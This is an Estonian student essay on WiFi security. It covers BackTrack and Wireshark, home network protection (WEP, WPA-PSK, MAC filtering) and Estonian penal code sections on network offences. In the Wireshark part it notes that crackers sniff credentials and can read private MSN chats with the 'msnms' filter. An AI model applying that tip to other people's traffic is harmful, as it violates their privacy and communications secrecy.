Võrguliikluse jälgimise rakendusi on palju. Minu arvates on väärt mainida kahte tarkvara, millest üks kujutab keskkonda erinevatest tarkvara rakendustest ja teine on üks enam levinumatest võrguanalüüsi tarkvaradest. Nende rakenduste kohta leidub internetis küllaldaselt juhendeid, mille abil suudavad võõrast võrku kuritarvitada ka nooremad arvutihuvilised. BackTrack Backtrack on üks populaarsemaid süsteemide turvalisuse testimiseks mõeldud Linuxi distributsioone. BackTrack on mõeldud nii turvalisuse spetsialistidele kui ka algajatele. BackTracki näol on tegemist LiveCD-ga. See võimaldab kiiremini ükskõik millist arvutit testida, kuna ei pea installima lisaks eraldi programme. BackTrack hõlmab endas üle 300 turvalisuse tööriista. Teda on nimetatud ka Šveitsi armeenoaks turvalisuse hindamisel. BackTracki saab kasutada: • informatsiooni kogumisel • veebi aplikatsiooni analüüsimisel • säilitamise testimisel • digitaalses kriminalistikas Samuti on BackTrack väga hea vahend noorele kräkkerile ja õpilastelekes tahab oma teadmisi proovile panna võrgu maha võtmisel. Wireshark Wireshark on avatud lähtekoodiga vaba tarkvara arvutivõrkude vigade otsimiseks, protokollide analüüsiks ja nende tundmaõppimiseks. Wireshark on maailma kõige populaarseim võrguliikluse analüüsimise vahend. Wireshark kandis varasemalt nime Ethereal, mis avaldati 1998 aastal. 2006 aastal muudeti nimi aga Wireshark´iks, kuna Ethereal´i asutaja vahetas töökohta ning säilitas programmi autoriõigused. Näited Wiresharki kasutamisest: • Võrgu administraatorid kasutavad seda võrguprobleemide lahendamiseks. • Võrgu turvalisuse insenerid kasutavad seda, et uurida turvaprobleeme. • Arendajad kasutavad seda protokolli töö silumiseks. • Inimesed kasutavad seda, et õppida võrgu protokolli seespidiselt. • Kräkker kasutab seda kasutajatunnuste ja paroolide väljasõelumiseks. Wiresharki funktsioonid:' • Saadaval UNIX-i ja Windows´i jaoks. • Püüab andmepakette otse võrguliidesest. • Kuvab pakette väga üksikasjalike protokolli andmetega. • Avab ja salvestab leitud pakettandmeid. • Impordib ja ekspordib pakettandmeid. • Filtreerib pakette mitmete kriteeriumite järgi. • Otsib pakette mitmete kriteeriumite alusel. • Kuvab erinevate värvidena pakettidel põhinevad filtrid. • Genereerib erinevat statistikat.

Tavakasutaja jaoks võib Wireshark esialgu väga keeruline olla, kuna ta kuvab väga palju erinevaid pakette ning infot on korraga palju. Kasutaja elu lihtsustamiseks ongi välja mõeldud filtreerimine. Kasutaja saab filtreerida endale huvipakkuvaid pakette vastavalt vajadusele. Näiteks, kui kasutaja soovib vaadata milline liiklus üle msn´i protokolli käib, peab ta filtri lahtrisse sisse trükkima ’msnms’ ning infot saab vaadata MSN Messenger Service´i alt. Nii pääseb kräkker ligi ka kasutaja privaatsetele vestlustele.

Wiresharkil on väga põhjalik kasutusjuhend, mida lugedes saab ennast täpsemalt programmi võimalustega kurssi viia. Mõlemad rakendused on mõeldud pigem ekspertide jaoks, kes päevast päeva tegelevad võrkude ja liikluse jälgimisega. Kuid tänu laiale valikule juhenditele on ka tavakasutajal võimalik nendega nii mõndagi ette võtta. On vaja ainult tahtmist ja järjekindlust.

WiFi-võrgu kaitsmine

Statistika järgi on 42% Tallinna WiFi-võrkudest kaitseta. Tegelikult päris nii vabameelne meie võrgundus siiski pole – NetStumbleri statistika ei kajasta näiteks MAC-aadressi, captive-veebiserveri või muude keerukamate võtetega piiratud võrke. Ent julgeks siiski väita, et Tallinnas on iga kolmas WiFi-võrk kõigile külastajatele avatud.

Valige sobiv kaitsemeetod

Koduse WiFi-võrgu turvamiseks on mitu võimalust. Valikus on peamiselt 64- või 128-bitine WEP (mõnel juhul ka 256-bitine WEP), WPA-PSK ja MAC-aadresside piirang. Kõige turvalisem on WPA-PSK, kõige kesisema turvalisusega aga MAC-aadresside piirang (kuigi juurdepääs on piiratud, on ühendus siiski vabalt pealtkuulatav). Kõik peale WPA-PSK ei paku kogenud häkkerile olulist peavalu, ent peletavad kindlasti eemale soovimatud juhukülalised. Ka WPA-PSK on kindel vaid juhul, kui kasutatud parool on pikk, ei põhine sõnaraamatus leiduval sõnal ning sisaldab nii tähti, numbreid kui ka muid märke (soovitan vähemalt 12-märgilist parooli).

Kontrollige turbemeetodi ühilduvust

Valitud turbemeetodit peavad toetama nii WiFi-seade, arvuti WiFi-kaart kui ka opsüsteem. Enamik vanematest WiFi-seadmetest ei toeta WPA-d. Ka uue soetamisel tasub selle kohta poest kindlasti eraldi küsida. Samuti võib odavamatel, väiksema jõudlusega WiFi-seadmetel esineda olulist kiiruse kadu või ajutist ühenduse katkemist tugeva võtme kasutamise korral – krüpteerimise puhul on ikkagi tegu matemaatiliselt ressursinõudliku tegevusega. Probleemide korral peate leppima nõrgema turbemeetodiga.

Paragrahvid

Loomulikult on e-tiigrina tuntud Eesti Vabariigi Karistusseadustikus ka võrgupättused ära mainitud. AP-de olemasolu ja nende poolt edastatavate eetriandmete (SSID, tootjafirma, krüpteerimismeetod jms) registreerimine, entusiastide keeles wardriving otsesõnu ebaseaduslik ei ole, võrguliikluse pealtkuulamine aga juba küll. Näiteks on karistatav arvuti, arvutisüsteemi ja arvutivõrgu ebaseaduslik kasutamine koodi, salasõna või muu kaitsevahendi kõrvaldamise teel (§217) – selle paragrahvi alla võiks ilusti mahtuda näiteks MAC aadressi võltsimine ruuterisse sisenemiseks, samuti WEP ja WPA võtme lahtimurdmine. Karistatav on ka arvutivõrgu ühenduse kahjustamine (§207) ehk siis DoS rünnak või signaali segamine (jamming). Võõraste meilide ja kiirsõnumite lugemise eest ähvardab pätti sõnumisaladuse rikkumise paragrahv (§156), kui aga pealtkuulatud andmeid kasutatakse varalise kasu saamise eesmärgil (§213), võib kurikaela oodata juba kuni viieaastane puhkus ruudulise päikese paistel. Samuti ei tasu alahinnata Eesti politsei võimekust arvutikurikaelte tabamisel – arvutivõrku tungimise eest on juba kohtu ette viidud rohkem kui üks tegelane…

Kokkuvõte

Kokkuvõteks võin ütelda, et kõik see on väga hea, et on olemas Wi-Fi leviala mis on turvaline ja palju teadmisi selle kohta, et saab ka teistele sellest rääkida, kõik meie maailmas areneb ja areneb, aga ei tohi unustada, et need kurikaelad ka arenevad koos sellistega krüptoalgoritmidega, nad ei maga! Kõik mida loob inimene on võimalik murta.
Wi-Fi populaarsus kasvab ja seda kasutab rohkem ja rohkem inimesi, siis tuleb järjest rohkem tähelepanu pöörata ka sellele, milliseid Wi-Fi standardeid ja andmeturbe protokolle erinevad seadmed kasutavad. Erinevaid standardeid on vaja teada selleks, et oleks teada millised seadmed on võimelised milliste võrkudega ühenduma.
Samas on sama oluline ka traadita võrkude turvalisus, et keegi pahatahtlik inimene ei pääseks ligi informatsioonile, millega ta saaks sulle ja ka teistele kahju tekitada. Keegi meist ju ei tahaks, et meie isiklikku infot kasutataks meile või kellelegi teisele halva tegemise eesmärgil. Kuna kirjutasin seda referaadi, siis arvan küll et targaks sain, leidsin ja lugesin palju materjale Wi-Fi standarditest, milleks nad üldse olulised on ja sain ette kujutada nende evolutsiooni mis on mulle, nagu tulevikkus IT inimesele väga tarvis ja huvitav.

Autor

Sergei Barol A21
Täiendas Marek Lepla A22 mlepla@itcollege.ee
sbarol@itcollege.ee

Allikad

1. http://en.wikipedia.org/wiki/IEEE_802.11
2. http://www.elenor.ee/artiklid/wifi-ule-kogu-kontori/
3. http://blog.izall.com/2008/04/03/ainulaadne-wifi-turvalisus/
4. http://www.arvutikasutaja.ee/artikkel.php?lk=3&id=207&sid=447f621c286189c007c2ccb0e81af757
5. http://www.arvutikaitse.ee/?p=189
6. http://www.arvutikaitse.ee/?p=720
7. http://wiki.wifi.ee/index.php?title=WiFi
8. http://wiki.wifi.ee/index.php?title=Esileht
9. http://wiki.wifi.ee/index.php?title=WPA
10. http://en.wikipedia.org/wiki/Wi-Fi
11. http://en.wikipedia.org/wiki/Wireless_security
12. http://www.wi-fi.org/
13. http://www.cs.tlu.ee/teemaderegister/get_file.php?id=58